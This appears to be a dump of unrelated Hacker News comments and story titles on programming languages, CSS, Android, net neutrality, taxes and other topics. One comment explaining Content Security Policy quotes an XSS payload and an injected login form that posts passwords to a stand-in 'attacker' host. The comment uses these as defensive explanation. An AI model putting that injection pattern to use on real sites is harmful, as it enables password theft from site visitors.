skysight-inc/HackerNews huggingface dataset:
So, Python regexps are suddenly more readable, even though they need
additional layer of backslashes?

$_ does not rely on unreadable style. First, it's a common idiom, so it's in
no way less comprehensible than list comprehension in Python. You just need to
understand what it means. Second, it's not an obligation to use $_. I often
avoid it if it doesn't make my code reflecting my intentions better. Funny
thing, I do the same in Python, C, and Erlang.

And I hear about $_ and regexp literals as unique selling points (if I read
your acronym correctly) only from people that don't really write in Perl.
Another option would be to be able to run Android apps on traditional Linux desktops. I hope that will be possible in the future, right now there isn't anything that achieves that seamlessly.
Does anyone know what's in it for Reliance when they offer Free Basics?
That's a perfect example of the problem: it'd make it harder but far from impossible to cheat (cheap SIMs, spoofing through insecure telcos, etc) and there are a non-zero number of legitimate users who don't want to give Twitter a phone number.

You'd probably need some sort of hybrid approach to do this for real – SMS validation counts as x points, y months of interaction with other users without a complaint counts as z points, etc. It's similar to the email anti-spam measures but a less daunting problem since they don't interoperate with many thousands of other peers (for better and for worse).
Sounds like a rant from a person that have just experienced the joys of C++. The trick is, you get used to it.
I know what you mean. The key is to remember that semantic HTML is responsive by default. If you are struggling to get an eefect to work with CSS, that is a code-smell that you are hurting more than helpinh your site.

I iterate back and forth between including my stylesheet and not including it, while developing the HTML. I try to get the unstyled layout to make as much sense as possible, to be a complete presentation on it's own, albeit looking like it's from 1995.

I then add styling just to make it look good. Since the flow of the page already makes sense and is readable to a user, the CSS is usually much smaller and less intrusive.

I don't use CSS resets. The entire concept to me is the devil. You're design should not be trying to rewrite the world. You will probably get it wrong if you try.
With APIs that change arbitrarily, inconsistencies in the different implementations, tokens that expire after a few months for no good reason, I wouldn't exactly describe the social login experience as frictionless and butter-easy.

YMMV though, maybe I'm not approaching the social login from the right angle, I don't know.
I agree. I was responding to a tangential comment, rather than the root post.
3% ? I pay about 13-30% of my income in property taxes depending on what kind of year I had. Lately it's been closer to 30.
Pingdom reducing features on their free plans to convince customers to pay
$1.6B for a service similar to what flights.google.com gives for free.

No, there is no overvaluation or tech bubble.)
Attracting non-data users, and hoping they will start paying if they like it.
Rust's std::slice has a `get` method that does exactly that: http://doc.rust-lang.org/std/primitive.slice.html#method.get
That's a fantastic idea. Definitely something to keep in mind for potential integration, thank you.
nope. then both would be gatekeepers for their own. even if you disagree with this, the carriers are still playing gatekeeper by zero rating services they choose to zero rate.
> There really needs to be an option that users can turn on to block all @ from people they don't follow. Even temporarily, say for a period of a month at a time.

Get a blue tick :)

I have the worst source (I think I heard it on a podcast...) but I'm pretty sure that verified Twitter accounts get an extra notification option to prevent notifications or messages from non-verified users from appearing. It basically turns Twitter into a verified-users-only service where you never see the regular plebs.
Sorry, I meant specifically:

A good one can detect that only a range of allocation is alive and release unused part of someLargeString.

I do agree that ropes are nice, though they may not be acceptable if you want O(1) indexing or slicing.
If I am a startup, I should request Facebook and Google to consider my portal as a basic service and allow millions to use it for free and they know of all my traffic all the time.

That's not the internet I know and wouldn't serve anything but the self serving interests of these conglomerates.
How to Trick Google into Upgrading Your Quality Score
According to the newspaper, the companies can claim that they were misled by the laws and made their decisions to invest here solely on these laws. So they can also try to claim future costs which are caused by being based in Belgium. I'm not a lawyer so I don't know if you're right.

While I would deplore having to hand over more government money to these multinationals (especially since I am a small business owner in Belgium myself), I still believe that the rule of law is more important. These deals shouldn't have existed in the first place, but I think the erosion of trust if they are retracted without compensation is also a grave cost...
I don't think there is much that he hasn't talked about taxing.
Android TV (like on my NVIDIA Shield box) is far better than any stock android. The apps are designed to be used with a controller or remote. And they work well.

It is now my primary media device. The games aren't PS4 quality, but they run in 4K and everything is smooth. We use it for everything, and it's _mostly_ a good experience.
> So, Python regexps are suddenly more readable, even though they need additional layer of backslashes?

Python encourages a style that makes less use of regexps. (And you don't need extra backslashes, you can use r'...').

> And I hear about $_ and regexp literals as unique selling points (if I read your acronym correctly) only from people that don't really write in Perl.

Nice ad hominem. Go on then - what's your USP for Perl? Why should one use it over Python/Ruby/...?
Yes. We know. That's why we have plethora of other languages to choose from, ones that learned from the shortcomings of C++ and [at least in attempt] implemented programming concepts properly. Insofar as C++ is still around, well, sometimes better to incrementally improve what we have without having to rewrite entire systems from scratch. Those working earnestly in C++ soon learn how to normalize certain techniques to work around problems and just not worry about them.

English sucks too (having followed better languages down dark alleys and robbed them of their loose grammar). Yet here we are, using it as the standard language on HN.
If you have a cross-site scripting hole, an attacker could use inline CSS to create a smoother experience for the visitor.
Why is Vagrant screwing up for you so much?
From what I remember, there are ports to RaspPi but a major issue is getting graphic acceleration working. Not sure what the current state of it is.
Where did I argued against his personality? I just considered this particular list being rather poor and provided some suggestions.
In that case (as others have stated) they should really precise what do they mean by small. I am convinced that a single network call (preceded by JavaScript overhead) dwarfs any reasonable amount of CSS code you could put in a single HTML file.
Probably an argument can be made that net-neutrality and zero-rating are different. For example, net-neutrality can include exemptions to free services which grant access to only certain websites. IMO, the bigger problem is differential-pricing, not free stuff. Once, I pay for internet access, I should get access to everything. But any company is allowed to give access to certain websites, free of cost.
I think HN needs more well-thought and constructive articles instead of mindless criticism (or cheerleading) combined with foul language.
If something is worth saying, one can make an effort and do it in a civilised way.

This has been a complete waste time and you should feel bad for posting it.
I believe Perl was meant as a replacement for shell scripts, as well as sed and awk script. It wasn't designed as a interactive shell. For example, the original perl man page says (quoting from http://history.perl.org/PerlTimeline.html ):

Perl is a interpreted language optimized for scanning arbi-
trary text files, extracting information from those text
files, and printing reports based on that information. It's
also a good language for many system management tasks. The
language is intended to be practical (easy to use, effi-
cient, complete) rather than beautiful (tiny, elegant,
minimal). It combines (in the author's opinion, anyway)
some of the best features of C, sed, awk, and sh, so people
familiar with those languages should have little difficulty
with it.

The closest that perl had to an interactive shell was with the "-d" debugger. See for example this synopsis from 2007 at http://archive.oreilly.com/pub/post/writing_a_modern_perl_re... :

> One area in which Perl falls behind other languages is in its lack of a usable Read-Evaluate-Print-Loop. (perl -de 0 just isn't enough for me.) I've used Ruby's irb and a handful of Python shells, and I'm starting to become a fan of ghci, but I fall back on perl -e far too often for my sanity.

An interactive shell should, in my opinion, support more than a REPL. It should also implement job control, like suspending a job or starting jobs in the background. Perl definitely was not invented for that purpose.
There is nothing difficult with that as long as the GC knows everything about strings and their pointers so it can detect that a particular string is reachable only through single another string.

Right, but that is a specific case where a built-in data type is optimized. It's not difficult, because the GC knows the semantics of a specific data type. But this does not work in the general case of slicing of library/used-defined data types.
D3.svg.circularbrush – A brush for selecting cyclical data
I opened the page, was immediately redirected to something about gum, couldn't understand what the hell the site was about, and left. The whole process took 3 seconds or less.

Unless you show people what the site is supposed to be used for right away, your bounce rate is going to be astronomical.
CSP is mainly a defense against arbitrary HTML getting injected into your website via poor validation, buggy scripts, etc. It's not a replacement for validation, but it's a failsafe when there's inevitably a bug. So the purpose of CSP is to block regular XSS like <script>alert("XSS!");</script>, and anything that works similarly. This isn't saying that inline script tags are a security vulnerability per se, just that they're a tool an attacker can use. CSP then also allows you to restrict <script src="..."> tags to trusted origins.

The same argument applies for CSS. If an attacker manages to output arbitrary HTML on your web page via some bug, they can add their own login form with <div style="position: fixed; ..."><form action="https://attacker/"> and harvest passwords this way. So CSP blocks that too. Again, this isn't because writing a form that way is a security vulnerability, but because if you've opted into CSP, you're stating that you're not writing forms this way so that you can enable these XSS and clickjacking protections.
The improvements are cool and all but IMO all this is unneeded if Windows just had a proper terminal with lots of little utilities.
RBS Warns: Sell Everything
I wouldn't be surprised if the nuclear physicist in The Dictator was based on Khan. He sounds like he's proud of his work and I admire that, moral judgements on nuclear weapons aside.
Maybe I'm reading this wrong. But most of the criticisms apply to several other languages that are generally not considered to suck. Generally the criticisms leveled here are that C++ is too low level.

But if that's the problem, maybe you should simply switch to ... well almost any other language. Python/Java/C#/ML/Go/... all will not have most of the problems listed in this article. But there'll be a cost to pay in performance.

Also this person is clearly not a C++ expert. A lot of the claims are wrong, in some others there are subtleties being missed. And some make you wonder if he's using MSVC++ 98 or something equally insane.
An awesome speech recognition API service to decode audio to text with Node.js
Currently-

* Babel
- ESNext
- JSX
* Gulp
* Browserify
- Incremental
* Express
* React router
* Rolled my own flux
- This was interesting because I didn't truly understand flux when I started
- I _get it_ now

The routes on the server are the same routes on the client. When the server renders, React/ReactRouter take over on the client and use history pushState.

And that's actually about it. There aren't any other major libs that change the nature of the project.

One thing I'm looking to do next is get hot reloading working and to somehow cut down on the initial compile times.
Someone got it to work on /r/remixos using efi files from chromeos
0 and 1 are just idiomatic though, correct? The important part, from my knowledge of abstract algebra, is that there exist an identity for any operation function () such that for all x in your domain, x () identity = x.
Reliance anyway would have had to pay for marketing, and Facebook provides them that.

So they divert their marketing budget to provide some free data to users as free basics.

It's effectively bartering marketing and data costs. Stakes for Facebook in it are high, so I wouldn't be surprised if they even paid for all of the data of the users.
Since there are various systems which use the Linux kernel without the GNU userland, it can make GNU/Linux more important as a term, in contrast to Android and others.

Although I have wondered if OS like Maemo, which use Busybox instead of GNU, should be considered Busybox/Linux. :)
Did you notice the username you're replying to?
10 Signs You're Going to Give an Amazing Presentation
What makes them weak?
It's definitely still a Linux distro. It's just not a GNU/Linux distribution, but Bionic/Linux.
IMHO Even thought the provider would log it is still better than not using one in a lot of cases. If whoever can see my VPN address, he would otherwise see my real address directly.

In that way he has to find a way to get the VPN provider to give out my real address. What might be possible with a lot, but for sure not with all of them.

Also think countries, my country does barely have any contracts with other countries for crimes like this. So they would have to use a complicated way to actually force them to give out my data.

In most situations we are already way over the realistic damage done in forms of costs to catch the individual.
Google should buy this now before Microsoft applies its EEE strategy on it or tries to fill it up with Cortana and stuff.
Could you have picked a better thread to make some irrelevant rant?

To address your only relevant question; I think he may have enjoyed interacting with the very smart people here. He also joined (merged?) the reddit team through ycom.
>Eh...this wasn't a private residence but a building where the public had free access. And it's hard to argue that they "forgot to lock" the doors when they didn't bother locking them even after they realized Swartz was going in there.

At that point they kind of needed to know WHY Swartz was going there.

>For going in to an unlocked room in a public building.

http://i.dailymail.co.uk/i/pix/2013/01/13/article-0-16EA7DFB...

He did feel it necessary to cover his face.
Xmake v1.0.4 released
Sketchfab VR: publish and browse 3D content in VR
Anyone know how they are building a desktop experience on Android?

Have they just layered a userspace on top of traditional Linux.. Or did they actually work with binder /init - > kdbus/systemd
Marion Tinsley. Checker's World Champion
I agree that Google's recommendation here is a poor one in most cases.

It would be better to do the following:

1. Have only one or two external CSS files per page.

2. Serve CSS compressed when possible.

3. Ensure that CSS does not require any server-side processing or compression, that the server just spits out a .css or .css.gz file when the CSS is requested.

4. Ensure that the CSS files are relatively small.

5. Serve the CSS files with a very long cache time and with a version/hash string in the object name.

6. If feasible, make CSS changes relatively relatively rare.

If you do all of these things, adding the style into the web page will clutter your HTML and slow things down for frequent visitors. Yes, it might also increase perceived performance for some users who have not visited the site since the last change to the CSS.
I would take day off for on-site. For preparation using PTO would be fair to your current employee.
D3-message-sequence – Dynamic message sequence charts for D3.js
Your thesis fails hard: why haven't we invaded Iran yet? Practically next door to Israel, and sitting on sufficiently enough oil to be a major player in OPEC and even to cause Britain to preemptively invade the Ottomans in WWI for fear of losing access to those oil fields (which the Ottomans never really cared to threaten in the first place, as it turned out).
It was actually an honest question and don't get the reason of downvotes.
I used to use Android on an old netbook --- a Toshiba AC100, ARM-based with 512MB of RAM. The netbook originally shipped with Gingerbread and was practically unusable, but after I upgraded it to Honeycomb it was a really rather comfortable thing to use.

I had Debian running in a chroot on it, so I got a combination of the Android UI with a proper Linux environment underneath it. This meant that stuff like wifi and quick wakeup and sleep all worked fine, together with Android's lightweight web browser etc. But if I wanted it, apt and all the build tools were available.

Unfortunately, since Honeycomb, each successive Android release has been steadily worse to use with a touch pad --- the Honeycomb status bar was great, the ICS action bar isn't. These days I use a Chromebook.
I've configured my web application to deploy to S3/Cloudfront for asset deployment. It's a PHP app.

In the end, I might just pay a little more for a faster server. Keep things simple, everthing on the one app.

It's a "normal" app (in the grand scheme of the Internet), so 10 users at a time would be high traffic already.
It would be a fair way to fund socialized medical care, as almost all medical care is provided to locals. Care is mostly rationed today on a large scale based on the wealth of the local area so very little would change other than cutting out many extremely wealthy and politically influential middlemen like insurance companies. People who hate the moral and ethical idea of pooled medical costs could trivially move into the wilderness where there's unfortunately no medical care at all other than long ambulance rides, therefore the prop tax paid to the local medical offices (which don't exist) would be quite low, which is kind of a self correcting problem. Much as we have "over 55 only" communities for places that refuse to fund elementary schools.

The biggest problem with prop tax is the general social aversion to kicking people off "their" land. As if any land is truly privately owned, LOL, and the government messing with the rent is going to shine quite a bright light on that little social problem. You'd need some kind of plan to deal with temporarily un and under employed vs permanently un and under employed landowners, not to mention enormous numbers of homeless elderly retired people.
What's to stop land-owners who are renting their land from just increasing the rents? I can't see that not happening, and that would have a big impact on poor renters. That would really only hit people who own their own homes, or who own land that they aren't renting.
It's more like a closed Android ROM/distro, which isn't that uncommon.

CyanogenOS isn't open source either.
A couple of years ago I visited a castle in Slovakia. The boss of the castle had all sorts of amenities (the museum told), such as people who washed their clothes, food that would appear magically, heated rooms. That required a whole castle with lots of employees (slaves?) to sustain. These days "normal" people live better than the kings in former times, with zero employees, thanks to technology. So poor is not always the same as poor.

Also, please provide an example of startups catering to rich people? Tesla comes to mind, but other than that? Netflix is pretty cheap, I think - certainly cheaper than the cable subscriptions of old times?
Rust has typesafe arenas, when one allocates small objects from a bigger chunk of memory and typesystem ensures that small objects do not outlive the chunk. I suppose mmap files could be treated similarly when assembling a pointer from an offset stored in the mmaped file is treated as an allocation.
https://news.ycombinator.com/item?id=10886820

HTH.
Show HN: Selenium script for ordering a new bus pass
When I was looking to install BTRFS, I saw tons of warnings not to install RAID5 or RAID6 because the code is not finished yet. The other levels are fine.
Are these enhancements to the protocol, or just the implementations? The article doesn't seem to distinguish the two, which always makes me a bit uneasy, because it could be a sign of not caring about the protocol as such (and third-party implementations thereof).
Learning comes from Machine Learning. I hope you don't think neural nets are the only thing ever in machine learning or artificial intelligence.

SVM and Decision tree's are still top performers in many ML domains, and the course covers both.
Rust build scripts for crates that rely on external (ie. C ABI) libraries are completely naive, and rely almost exclusively on either the automake tools, cmake or (most often) simply that the right version of the library dependency is already magically present on the system due to apt-get or some other user configuration.

Compiling pure rust relies on the single compiler toolchain which is assumed to be present by cargo, and universal on all platforms. That's pretty solid.

...but rust = no autoconf is somewhat misleading; rust that uses c libraries has to solve all the same problems that anything else using c libraries has to; but unlike python or node, there is no help (ie. gyp or distutils) for you if you need to do this.

Perhaps eventually something clever will come along to fill the gap, but it's something of a pain point at the moment, especially on windows.
Wealth would effectively become a burden - it will cost you time and money to maintain it. So I wonder if people will aspire less to become wealthy in the first place?

I suspect fewer people will go all-in building a startup in their twenties if the wealth wasn’t going to effectively secure their future?
Here is a gif of it in action: https://zippy.gfycat.com/ImpossibleIncredibleAnchovy.webm
> "Juniper said it brought in third-party help to investigate its code and determined that no other “unauthorized code” lives in either ScreenOS or Junos OS."

The third-party help probably consisted of a number of helpful folk from the NSA

/cynical
What is your basis for "ethics and morality" that doesn't include recognizing the rights of the individual? Some kind of utilitarianism? Intuitionism?

I certainly hope you didn't mean "It is therefore consistent with ethics and morality that society can...", which would mean your first paragraph implies there are no moral or ethical limits on what 'society' can do.